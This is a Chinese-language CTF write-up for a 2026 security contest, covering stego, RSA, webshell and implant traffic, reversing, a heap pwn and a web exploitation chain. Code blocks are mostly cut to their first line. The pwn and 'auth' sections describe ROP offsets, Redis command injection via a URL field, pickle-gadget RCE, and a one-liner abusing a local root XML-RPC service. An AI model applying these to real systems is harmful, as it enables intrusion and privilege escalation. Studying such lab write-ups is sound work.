2026软件系统安全赛 WP
steganography
解题步骤
1.查看原始文件类型
题目给的是一个没有后缀的文件:
1 | file steganography_challenge |
结果并不能直接识别成常见文件格式,只显示成 data。
这类题第一反应就是查文件头 / 查魔数。
扫描后能发现文件内部出现了 PNG 头:
1 | from pathlib import Path |
能找到一个 PNG 起始位置。
2.从原始文件中切出 PNG
PNG 的结尾标志是:
1 | 00 00 00 00 49 45 4E 44 AE 42 60 82 |
也就是 IEND 块。
直接把这一段 carve 出来:
1 | from pathlib import Path |
得到 recovered.png。
3.对 PNG 做 LSB 提取
这一步核心是:
图像的 最低有效位 里藏了另一份数据。
把 PNG 读进来,按像素顺序取 RGB 的最低位,重新拼成 bitstream,再按 8 位转 byte。
实际测试后,能在 LSB 平面 里找到 ZIP 头 PK\x03\x04。
示例代码:
1 | from PIL import Image |
这里能找到 ZIP 头。
同时还能找到 EOCD:
1 | eocd = stream.find(b'PK\x05\x06') |
于是把 ZIP 切出来:
1 | zip_bytes = stream[idx:eocd+22] |
4.解开提取的 ZIP
查看内容:
1 | import zipfile |
会得到:
1 | ['flag.zip', 'pass1.zip', 'pass2.zip', 'pass3.zip', 'pass4.zip', 'pass5.zip', 'pass6.zip'] |
题目还没结束,真正的密码被拆到几个小 ZIP 里了。
5. 直接提取pass1.zip ~ pass6.zip的信息
本题最关键的点。
虽然 pass*.zip 是加密 ZIP,不能直接读内容,但 ZIP 的目录信息会泄露两个很关键的数据:
- CRC32
- 原文件大小
查看信息:
1 | import zipfile |
能看到每个压缩包里只有一个文件,而且:
file_size = 4- CRC32 已知
也就是说每个加密文件的明文只有 4 个字节。
6.利用 CRC32 反推 4 字节明文
CRC32 对固定长度的消息来说,本质上是一个 GF(2) 上的线性变换。
这里长度只有 4 字节,也就是 32 bit,正好可以把它写成一个 32x32 线性方程组 去解。
题意上就是:
已知
crc32(某 4 字节明文) = target,求这 4 个字节。
下面是可直接复现的脚本:
1 | import zlib |
输出为:
1 | 0xce70d424 b'pass' pass |
拼起来就是:
1 | pass is c1!xxtLf%fXYPkaA |
真正用于解 flag.zip 的密码显然是后半段:
1 | c1!xxtLf%fXYPkaA |
7.用密码解开 flag.zip
1 | import zipfile |
内容没有直接给出 flag,而是flag is here与一些不可打印字符
8.提取零宽字符
单独提取 flag.txt 里的零宽字符:
1 | text = data.decode("utf-8") |
只有两种字符:
U+200B:Zero Width SpaceU+200C:Zero Width Non-Joiner
推测为二进制编码。
9.将零宽字符转成二进制
尝试映射:
\u200b -> 0\u200c -> 1
然后每 8 位转 ASCII:
1 | bits = zw.replace('\u200b', '0').replace('\u200c', '1') |
最终结果
输出:
1 | dart{bf4100d9-cc8d-48f6-a095-54cbfad189e1} |
rsa
Level 1
分析
题目声称使用 Asmuth-Bloom 秘密共享,但实际查看 generate-plaintexts.py 可发现 share 只是:
1 | ki = S % di |
这不是门限秘密共享,而是直接泄露了同一个 S 在多个模数下的余数。只要拿到足够多组 (S mod di),且这些模数的乘积超过 S,就可直接用 CRT 还原。
这一层真正的难点在 RSA。检查所有公钥后可以发现:
key-1.pem和key-2.pem共享素因子key-4.pem和key-15.pem共享素因子key-6.pem、key-12.pem、key-17.pem存在 Wiener 弱点encrypt.py中只有n_bits >= 2048才走 OAEP,2047位密钥走的是裸 RSA 加 AES-GCM
因此可以恢复若干私钥,尝试解所有密文,最终解出:
ciphertext-2.binciphertext-3.binciphertext-5.binciphertext-8.bin
每份明文里都包含 message2 ~ message10 的一组同余。把同一条消息在不同明文中的 share 收集起来后,用 CRT 即可还原出真实 message。
message7中有 hint:
1 | Congratulations! next pass is 9Zr4M1ThwVCHe4nHnmOcilJ8。 |
于是level2.zip 密码为:
1 | 9Zr4M1ThwVCHe4nHnmOcilJ8 |
Exp
1 | from pathlib import Path |
运行结果
1 | [+] decrypted ciphertext-8.bin with key-1.pem |
Level 2
分析
第二层 task.py 中:
n为 1024 位d = getPrime(180),私钥指数非常小e = invert(d, lam),这里使用的是 Carmichael 函数lambda(n),不是phi(n)
这会导致直接套标准 Wiener 时,不一定立刻得到真实 d,而是更可能得到一个 D = d * g,其中 g = gcd(p - 1, q - 1) 往往很小。
题目给了一个已知明文密文对:
1 | m1 = bytes_to_long(b"Secret message: " + b"A" * 16) |
故可以这样处理:
- 枚举
e / n的连分数收敛分母D - 枚举小的
g - 检查
pow(c1, D // g, n) == m1 - 一旦找到真实
d,利用ed - 1的标准分解算法恢复p和q - 输出
sha256(str(p + q)),得到level3.zip密码
Exp
1 | import hashlib |
运行结果
1 | [+] found d, extra factor g = 4 |
Level 3
分析
第三层给出:
ne = 65537c- 一个复杂的
leak
leak 由乘法、异或、位运算混合构成,结构混乱,但具有一个关键性质:
- 只考虑
mod 2^k时,leak mod 2^k只依赖于p和q的低k位。
同时我们还知道:
1 | p * q ≡ n (mod 2^k) |
因此可以从最低位开始逐位恢复 p 和 q:
p、q都是奇素数,最低位一定为1- 假设已知低
k - 1位,则第k位只有四种组合可以枚举 - 保留同时满足
p * q mod 2^k == n mod 2^kleak(p, q) mod 2^k == leak mod 2^k
的候选
- 继续向高位扩展,直到恢复完整 1536 位
p和q
这题的数据很强,整个恢复过程中候选数量始终为 1。
最后再正常计算私钥并解密即可得到 flag。
Exp
1 | from Crypto.Util.number import long_to_bytes |
运行结果
1 | [+] k = 256 states = 1 |
最终结果
1 | level2.zip password = 9Zr4M1ThwVCHe4nHnmOcilJ8 |
溯源反制 (流量分析)
traffic_hunt
解题步骤
1.初步判断流量结构
- 先看整体协议与会话:
1 | tshark -r traffic_hunt.pcapng -q -z http,stat |
- 可以看出有两段关键流量:
10.1.243.155 -> 10.1.33.69:8080的 HTTP 攻击流量10.1.33.69:38162 -> 10.1.243.155:7788的 TCP 回连流量
- 分别对应目录扫描和木马投递,以及木马启动后的控制流量。
2.从 HTTP 中定位 WebShell / 内存马
- 导出 HTTP 对象:
1 | tshark -r traffic_hunt.pcapng --export-objects http,/tmp/traffic_http |
- 在 HTTP POST 中可以发现一个关键请求,请求头包含:
1 | p: HWmc2TLDoihdlr0N |
请求体以
user=yv66vgAA...开头。yv66vgAA是 Java class 文件的 Base64 特征,说明攻击者上传了一个字节码 payload。将该对象解码后反编译,可以确认是一个 Behinder 内存马过滤器BehinderFilter。关键逻辑是:
1 | Pwd = md5(request.getHeader("p")).substring(0,16) |
- 因此后续
/favicondemo.ico的通信密钥不是类里的默认值,而是:
1 | md5("HWmc2TLDoihdlr0N")[:16] = 1f2c8075acd3d118 |
- 也就是说,发往
/favicondemo.ico的 body 都可以用该 key 按 Java 默认AES/ECB/PKCS5Padding解密。
3.解密 Behinder 流量并还原上传文件
- 批量解密
/favicondemo*.ico后,可以发现大量 payload 都是 Behinder 的FileOperation类,类中包含:
1 | mode = "update" |
这说明攻击者通过 Behinder 将文件
/var/tmp/out分块上传到了靶机。还原方法:
- 逐个解密所有
FileOperation类 - 提取
blockIndex、blockSize、content - 对
content做 Base64 解码 - 按
blockIndex * blockSize写入对应位置 - 重组出完整的
/var/tmp/out
重建结果得到的文件大小为10790868 , MD5为a0275c1593af1adba1d92d252ce1462d
而 Behinder 返回中还出现过:
1 | a0275c1593af1adb |
- 这正好是该 MD5 的前 16 位,说明文件重建正确。
4.分析 /var/tmp/out
- 先看文件类型:
1 | file /tmp/reconstructed_out |
- 得到:
1 | ELF 64-bit executable |
- 查看程序中的字符串,能发现明显的:
1 | This file is packed with the UPX executable packer |
说明样本先被 UPX 加壳。解壳之后再分析,发现它并不是普通原生程序,而是一个 PyInstaller 打包的 Python 样本。
将其提取后,关键脚本是:
1 | implant.pyc |
- 反汇编分析主要逻辑:
- 主动回连
10.1.243.155:7788 - 使用 AES-GCM 加密通信
- 协议格式为:
1 | 4字节长度(小端) + nonce(12字节) + ciphertext + tag |
- 收到命令后直接通过
subprocess.Popen(..., shell=True)执行 - 再把执行结果加密后发回去
5.从 Behinder 命令中找出样本启动方式
- 继续看已经解密出的 Behinder payload,可以找到执行命令:
1 | cd /var/tmp/ ;chmod +x out |
- 因此回连流量
7788/TCP所用的 AES-GCM 密钥就是:
1 | IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs= |
6.解密 7788 端口的回连流量
- 定位对应的 TCP stream
1 | tshark -r traffic_hunt.pcapng -Y 'tcp.port == 7788' -T fields -e tcp.stream -e frame.number -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport |
- 关键流是:
1 | tcp.stream == 40563 |
- 再提取有载荷的包:
1 | tshark -r traffic_hunt.pcapng -Y 'tcp.stream == 40563 && tcp.len > 0' -T fields -e frame.number -e ip.src -e tcp.len -e tcp.payload |
- 然后按样本协议解析:
- 先读 4 字节小端长度
- 再读取对应长度的数据
- 前 12 字节作为 nonce
- 剩余部分作为
ciphertext || tag - 用
--aes-key对应的 key 执行 AES-GCM 解密
- 解密后得到攻击者的真实命令和回显:
1 | pwd -> /var/tmp |
- 长度非4的整数倍,尝试常见编码后发现 echo 的字符串是
Base58(Bitcoin)编码。解码后得到:
1 | ZGFydHtkOTg1MGIyNy04NWNiLTQ3NzctODVlMC1kZjBiNzhmZGI3MjJ9 |
- 4的整数倍,再做一次 Base64 解码,得到最终结果
最终结果:
1 | dart{d9850b27-85cb-4777-85e0-df0b78fdb722} |
re1
结果
flag 为 dart{2ab1fb8a-b830-45e7-8830-66c7e3b3e05a}。
分析过程
- 分析
Loader的main(0x2a5d)的执行逻辑 :先检查video.mp4,再把内嵌的 Base64 串解码成stager.pyc,写入文件、chmod赋予755权限,最后通过system("python3 stager.pyc")执行。 base64_decode(0x26a4) 是标准 Base64;run_python_script(0x29a9) 拼接python3前缀。- 反编译
stager.pyc得到其逻辑:读取名为payload的文件,把每个字节先异或0xAA,再按 bit 映射成8x8黑白块,生成640x480、fps=10的video.mp4。据此从video.mp4反向恢复payload。 - 从
video.mp4还原出二阶段 ELF的.rodata里有中文提示:“下面展示每个 MD5 值对应一个 ASCII 字符”“按顺序组合这些字符即可得到 flag”。 - 依照提示把这些 MD5 逐个反查为“单字节 ASCII 的 MD5”,拼出来就是最终 flag。
1 | import argparse |
最终结果
1 | flag: dart{2ab1fb8a-b830-45e7-8830-66c7e3b3e05a} |
re2
题目信息
附件 challenge.exe,有类似UPX的压缩壳
分析过程
这题本质上分成两层:
- 第一层是手写壳,负责解压、修复导入、跳转到真实程序
- 第二层是真正的校验程序,额外把关键代码节和数据节做了 RC4 保护
一、初步分析
先看文件结构:
1 | file challenge.exe |
可以看到它是一个 64 位 PE,只有 3 个自定义节:
CTF0CTF1CTF2
导入表非常小,只剩几个壳常用 API:
LoadLibraryAGetProcAddressVirtualProtectExitProcess
同时存在 TLS 目录,这也是壳题里常见的特征。
入口点在 0x4156c0,反汇编后可以看到典型的解压 stub:
- 从
0x40f025开始读取压缩流 - 解压到
0x401000 - 修复相对跳转
- 动态解析导入
- 调整页属性
- 最后跳转到
0x4014e0
需要手动脱壳
二、第一层壳的处理
用 unicorn 仿真壳代码。
- 手动把
challenge.exe映射到内存 - 给壳需要的 IAT 项补上伪造的 API 地址
- 钩住
LoadLibraryA/GetProcAddress/VirtualProtect - 跑到壳完成解压的位置
0x4158d1 - 把此时的内存镜像整体 dump 出来
使用的脚本:
1 | #!/usr/bin/env python3 |
执行后会得到:
unpacked.bin
解开第一层壳
三、脱壳后程序的逻辑
对 unpacked.bin 继续分析后,关键逻辑集中在 0x4030a0 附近。
流程大致如下:
- 调用
0x401550做自检 - 从标准输入读一行字符串
- 和内存中的目标口令做
strcmp - 口令正确后,把一段内嵌的 base64 数据写成第二阶段 PE 文件
有几个字符串:
Illegal modification or unpacking detected.Error reading password.Error: Invalid password!
跟交叉引用,可以看到目标口令直接放在 .rdata 里:
1 | NGeQwv8eCRpINEcO |
四、提取第二阶段程序
第一阶段在密码正确后,会把一段 base64 数据解码成新的 PE 文件。
这段 base64 就放在第一阶段镜像里,起始地址是0x405080
解码后得到二阶段程序stage2.bin
这个文件是一个正常的 64 位 PE,导入表也完整得多,能看到:
printffgetsMessageBoxW
字符串里还能看到:
1 | Enter the key: |
注意到:
.hello节在磁盘上看起来是乱码.mydata也像加密数据
并且程序启动后会先调用一段解密逻辑,把这两个节还原。
包括:
0x4018b0/0x401840:标准 RC4 初始化和加解密0x4018f0:根据节名解密指定节0x404ef0:最终的 key 校验函数
RC4 的 key 就在0x4070c0
程序用这个 key 去解密.hello和.mydata
逆向可得到stage2_decrypted.bin
五、最终校验逻辑
实际逻辑为是:
- 读取用户输入
- 做 PKCS#7 填充到 16 字节对齐
- 调用
0x404cb0做加密 - 将结果和
.mydata中的目标密文比较
可以把 .mydata 里的目标密文喂给对应解密函数 0x404d80,直接还原出正确明文
用 unicorn 单独调用内部解密例程,解出 48 字节明文后,去掉 PKCS#7 padding,得到:
1 | dart{c3d4f5cc-8aab-46ce-a188-2fc453f3b288} |
六、自动化脚本
1 | #!/usr/bin/env python3 |
脚本做了以下几件事:
- 仿真第一层壳,生成
unpacked.bin - 从一阶段镜像提取 base64,生成
stage2.bin - 用 RC4 解密
.hello和.mydata,生成stage2_decrypted.bin - 直接调用二阶段内部解密函数,还原目标明文
- 输出最终 flag
最终答案:
1 | dart{c3d4f5cc-8aab-46ce-a188-2fc453f3b288} |
re3
解题思路
这题的思路是:
client是 PyInstaller 打包程序。- Python 入口脚本里藏着发送文件名和密钥材料。
crypt_core.so实现的是自定义常量的 24 轮 SM4 变体。capture.pcap里已经给了加密后的三个文件。- 解出
flag.txt就能拿到最终 flag。
分析过程
1. 先看主程序,发现不是原生逻辑
题目给了一个 ELF64 程序 client 和一份流量 capture.pcap。
先用 IDA Pro 打开 client,从 main 跟进去可以发现主流程进入的是一个很大的初始化函数,整体结构非常像 PyInstaller bootloader,而不是程序的实际逻辑。
后续把 PyInstaller 归档拆开,可以拿到:
1 | client # Python 入口脚本 |
2. 提取 Python 入口脚本
把入口脚本反编译后,能还原出大致逻辑:
- 程序会检查命令行参数是否满足一个 MD5 校验。
- 校验通过后,连接服务器。
- 把几个本地文件加密后按 JSON 发出去。
能直接还原出的关键信息有:
1 | FILES_TO_SEND = [ |
JSON 结构是:
1 | { |
脚本里还有一段被混淆过的密钥材料。把它的自定义编码解出来以后,可以得到:
1 | passvkcDKWLAA45ocFAXBPM63X4G8XzzTE1B |
而实际调用加密函数时用的是:
1 | key[:16] |
所以真正用于加密的 16 字节密钥是:
1 | passvkcDKWLAA45o |
3. 分析 crypt_core.so
crypt_core.so 只导出一个 Python 层可见接口:
1 | encode_data(plaintext, key) |
在 WSL 里用 Python 3.10 把这个 .so 动态加载起来,跑了一组基准向量。发现:
- 16 字节分组。
- 使用 PKCS#7 padding。
- 整体是 ECB 逐块加密。
回到反汇编看轮函数,能看出它非常接近 SM4 的框架:
- 有 S-box。
- 有 FK、CK 常量表。
- 轮函数是
tau + L。 - 密钥扩展是
tau + L'。
但需要注意两点:
- 这不是标准 SM4 常量,而是自定义 S-box/FK/CK。
- 它不是标准 32 轮,而是 24 轮。
算法的加密逻辑为:
1 | 自定义 24 轮 SM4 变体 |
4. 从流量里取密文并解密
capture.pcap 里能提取出 3 个 JSON 载荷,分别对应:
readme.txtflag.txtconfig.txt
把每个 ciphertext 取出来,用上面恢复的 16 字节密钥和自定义 24 轮算法解密,得到:
readme.txt:
1 | System Configuration Backup |
flag.txt:
1 | dart{f4b547fc-b3d0-44c3-bf21-8f3fb5ad3220} |
config.txt:
1 | server_host=192.168.1.100 |
解题脚本。
1 | import argparse |
最终答案
1 | dart{f4b547fc-b3d0-44c3-bf21-8f3fb5ad3220} |
MailSystem
题目信息
64 位 PIE 菜单堆题,保护全开:
- Full RELRO
- Canary
- NX
- PIE
同时有 seccomp,禁用execve与execveat,需要 orw 读 /flag。
解题思路:
1 | register off-by-one 覆盖 admin 指针 |
解题过程
1. 注册 off-by-one 覆盖 admin
注册时查空槽会扫到第 13 个位置,而 users[] 只有 12 个用户槽。
全局布局:
1 | stdout @ pie+0x7020 |
所以第 13 次实际写到的是:
1 | users[12] == admin ptr |
做法:
- 注册 8 个用户
- 让 1~5 号被举报封号
- 继续注册 5 次
- 第 13 次注册把
admin覆盖成一个新的零块
2. scanf("%s") 支持直接发 \x00
管理员登录比较的是:
1 | admin+0x32 用户名 |
覆盖后的 fake-admin chunk 是全零,所以直接发送:
1 | io.send(b"\x00\n") |
即可登录管理员。
3. 管理员转发存在负数索引越界
管理员 “Mail user to user” 只检查 >12,不检查 <=0。
鉴于:
1 | src=-3 -> stderr |
可用于劫持IO_FILE。
4.程序内 leak
- stderr 泄露 libc
用户对象布局里:
1 | draft content @ +0x110 |
所以管理员转发:
1 | forward(-3, 6, 1) |
会把 _IO_2_1_stderr_+0x110 的内容送进用户 6 inbox。
实测泄露值满足:
1 | leak = libc_base + 0x21b803 |
因此:
1 | libc_base = leak - 0x21b803 |
- fake stdout 做任意读
拿到 libc 后,直接伪造 _IO_2_1_stdout_,用 pwntools 的:
1 | FileStructure().write(addr, size) |
生成 fake FILE,再通过:
1 | src=<user> |
覆盖 stdout,后续程序输出就会把目标地址内容带出来。
- 泄露 environ、stack、PIE、users[]
先读:
1 | environ = *(libc_base + libc.sym["environ"]) |
再读栈窗口:
1 | environ - 0x4000 ~ environ + 0x1000 |
按 8 字节扫描,找低 12 位为:
1 | 0x343f |
因为:
1 | login + 0x9a = pie_base + 0x343f |
于是:
1 | pie_base = saved_rip - 0x343f |
命中的栈地址就是 admin 菜单保存的返回地址,进一步有:
1 | sub_saved_rip = admin_saved_rip - 0x20 |
最后再读:
1 | pie_base + 0x7060 |
拿到 users[] 的 12 个 heap 指针。
5.fake stdin 写 ROP
伪造 _IO_2_1_stdin_ 的关键字段:
1 | _IO_read_base = script_addr |
其中 script 写成:
1 | 1 |
含义是:
- admin menu 选
Change user info - 选用户 6
- 选
Change username
这样程序会执行一次scanf("%31s")
但由于 stdin 已被替换,这次 read() 会把后面发送的 ROP 直接写到 sub_saved_rip。
6.ORW ROP
由于 seccomp,不走 shell,直接 ORW:
1 | open("/flag", 0, 0) |
关键 gadget的偏移量如下:
1 | pop rdi ; ret = libc + 0x2a3e5 |
7.远程连接
远程不是直连,而是先走 SOCKS5 用户名/密码代理,再 CONNECT 到192.0.100.2:9999
代理参数为:
1 | proxy = 3.dart.ccsssc.com:26522 |
脚本里直接手写了 RFC1929 的 SOCKS5 认证,然后把 socket 包装成 pwntools tube。
运行方式:
1 | HOST=192.0.100.2 PORT=9999 \ |
完整 exploit:
1 | #!/usr/bin/env python3 |
结果
flag为
1 | dart{bb07ea15-9b8d-40e0-9076-55648fbf492c} |
auth
利用思路
头像 URL 任意文件读取 -> 读取源码与 Redis 配置 -> Redis 注入提权 admin -> 后台反序列化 RCE -> 调用本地 root MCP 读 /flag -> LFI 读 /tmp/flag
前期信息收集
访问站点后可以看到一个普通的登录注册系统。注册并登录普通用户后,页面中有一个“个人资料”页面,其中有“从 URL 下载头像”的功能。
URL作为头像容易产生漏洞,如:SSRF、任意文件读取,如果后端没有限制协议,可能支持 file://
先尝试把头像 URL 设置为:
1 | file:///etc/passwd |
提交后页面正常返回,说明后端确实直接读取了本地文件。至此可以确认头像下载点存在任意文件读取,且后端没有限制 URL scheme
这一步已经足够说明题目的第一层突破口在这里。
读取源码
既然已经能读本地文件,优先考虑读取应用源码。直接请求:
1 | file:///app/app.py |
读到源码后,可以确认几个关键点。
- 头像 URL 下载逻辑没有限制协议
- 源码中头像下载逻辑为:
1 | req = urllib.request.Request(url) |
- 这里没有对协议做白名单限制,因此
http://、https://、file://都可用。
- 用户角色从 Redis 中读取
- 登录逻辑中,服务端会从 Redis 的
user:<username>键读取role字段,然后写入session:
1 | role_data = r.hget(f'user:{username}', 'role') |
- 只要能修改 Redis 中自己账号对应的
role,下次登录时就能成管理员。
- 登录后会把在线用户对象写入 Redis
- 源码中登录成功后会执行:
1 | online_user = OnlineUser(username, role) |
- 也就是说,Redis 中会存放
pickle序列化后的 Python 对象。
- 管理员后台会对
online_user:*反序列化
- 管理员页面
/admin/online-users中会遍历 Redis 里的在线用户,并执行:
1 | serialized = r.get(key) |
读 Redis 配置,拿到 Redis 密码
源码里默认 Redis 密码写的是 123456,但同时源码也提到还会从配置文件加载实际配置。故需读取 Redis 配置文件:
1 | file:///etc/redis/redis.conf |
从配置中可以发现:
1 | requirepass redispass123 |
拿到连接和操作 Redis 所需的凭据。
头像打内网 Redis
头像功能既然是 urlopen(),除了 file://,自然也应该可以访问内网服务。由于Redis 不是 HTTP 服务,所以这类请求往往会报错。但如果后端不做过滤,在 URL 中插入换行,就有机会把后面的内容变成 Redis 的 inline 命令。
测试时向 /profile/avatar 提交类似如下内容:
1 | POST /profile/avatar |
返回中出现:
1 | -NOAUTH Authentication required. |
这说明请求确实已经打到了本地 6379 端口,并且Redis 确实把我们构造的内容当成命令解析了。
因此这个点除去 SSRF,还可以进一步进行 Redis 命令注入。
利用 Redis 注入提权成 admin
既然登录时会从 Redis 中读取 user:<username>.role,那最直接的做法就是修改这个字段。
注册的普通用户为:
1 | username = ctf930b931c |
那么目标 Redis 命令就是:
1 | AUTH redispass123 |
这里最后多加一个 x,是为了吞掉后续 HTTP 请求中可能拼接进来的残余内容,避免 Redis 因参数数量异常而拒绝执行。
在 Burp Repeater 中可以直接构造如下请求:
1 | POST /profile/avatar |
发送成功后,重新登录账号。由于登录时服务端会重新从 Redis 中读取角色字段,因此重新登录后即可拿到新的管理员会话。
验证方式很简单:
- 访问
/home - 导航栏中会新增
/admin/online-users - 同时还会出现
/admin/users
这一步说明管理员提权已经完成。
pickle反序列化
拿到管理员权限后,访问:
1 | /admin/online-users |
后台会读取所有 online_user:* 键并执行 pickle 反序列化。源码中虽然定义了一个 RestrictedUnpickler,看起来像是在做限制,但它仍然允许:
1 | if module == "builtins" and name in ["getattr", "setattr", "dict", "list", "tuple"]: |
而且还允许 __main__.OnlineUser。
这实际上已经够用了。因为只要有 builtins.getattr,就可以通过逐层取属性的方式走出一条 gadget 链,最终调用到:
1 | os.system(...) |
也就是说,这个“受限反序列化”本质上仍然可以形成命令执行。
通过反序列化直接执行:
1 | cp /flag /tmp/flag |
但测试后会发现 /flag 对 Web 进程不可读,直接读取:
1 | file:///flag |
返回的是权限不足。因此普通 Web 进程虽然能 RCE,但还不够,必须找到一个更高权限的本地服务替我们读取 /flag。
发现本地高权限 MCP 服务
由于已经有任意文件读取,可以继续查看系统中的进程信息,例如:
1 | file:///proc/1/cmdline |
进一步分析后,可以发现容器里还有一个额外的 Python 服务:
1 | python /opt/mcp_service/mcp_server_secure_e938a2d234b7968a885bbbbb63cde7b9.py |
继续读取其源码:
1 | file:///opt/mcp_service/mcp_server_secure_e938a2d234b7968a885bbbbb63cde7b9.py |
可以确认:
- 该服务监听
127.0.0.1:54321 - 它是 XML-RPC 服务
- 它有硬编码 token
mcp_secure_token_b2rglxd - 它暴露了危险方法:
1 | execute_command |
换言之:
- Web 进程无法直接读
/flag - 但它可以在本机访问这个高权限 MCP 服务
- 只要能在 Web 进程里执行任意 Python 或 shell 命令,就可以调用这个 MCP 代替自己去读
/flag
于是最终利用路径明确了:
pickle RCE -> 调用本地 XML-RPC MCP -> MCP 以高权限执行 cp /flag /tmp/flag
构造恶意 pickle
目标是往 Redis 中写入一个恶意的 online_user:* 值,使管理员访问 /admin/online-users 时触发反序列化并执行命令。
由于允许 builtins.getattr,可以利用如下链条逐层拿到命令执行能力:
- 拿到
OnlineUser.__init__ - 再拿到
__globals__ - 从
__globals__中取出__builtins__ - 通过
__import__导入os - 调用
os.system(cmd)
最终执行的命令不是直接读 /flag,而是调用本地 XML-RPC 服务,因为cp /flag /tmp/flag 在 MCP 服务的高权限上下文中执行,配合 chmod 644 /tmp/flag,可以使后续通过普通 Web 进程就可以通过 file:///tmp/flag 读取结果
1 | python -c "from xmlrpc.client import ServerProxy;ServerProxy('http://127.0.0.1:54321/RPC2').execute_command('mcp_secure_token_b2rglxd','cp /flag /tmp/flag;chmod 644 /tmp/flag')" |
用 SETBIT 按位写入 pickle
为了解决换行和二进制写入问题,在本地生成完整的恶意 pickle 字节串,将字节串转换成 bit 流再通过多条 Redis 命令逐位执行
1 | SETBIT online_user:rceflag <offset> <0|1> |
这样就能在 Redis 里精确重建任意二进制数据,不会受到引号、换行、编码等问题影响。
触发 RCE 并复制 Flag
将恶意 online_user:rceflag 写入 Redis 后,重新访问:
1 | /admin/online-users |
此时后台会反序列化该对象,触发命令执行,随后本地 MCP 服务执行:
1 | cp /flag /tmp/flag; chmod 644 /tmp/flag |
只要这一步成功,最终 flag 就已经被复制到 Web 进程可读的位置。
回到头像下载页面,再次使用本地文件读取:
1 | file:///tmp/flag |
最终结果
页面返回的内容解码后即可得到最终 flag:
1 | dart{279d2746-ab7b-4b3c-869c-19e768a50565} |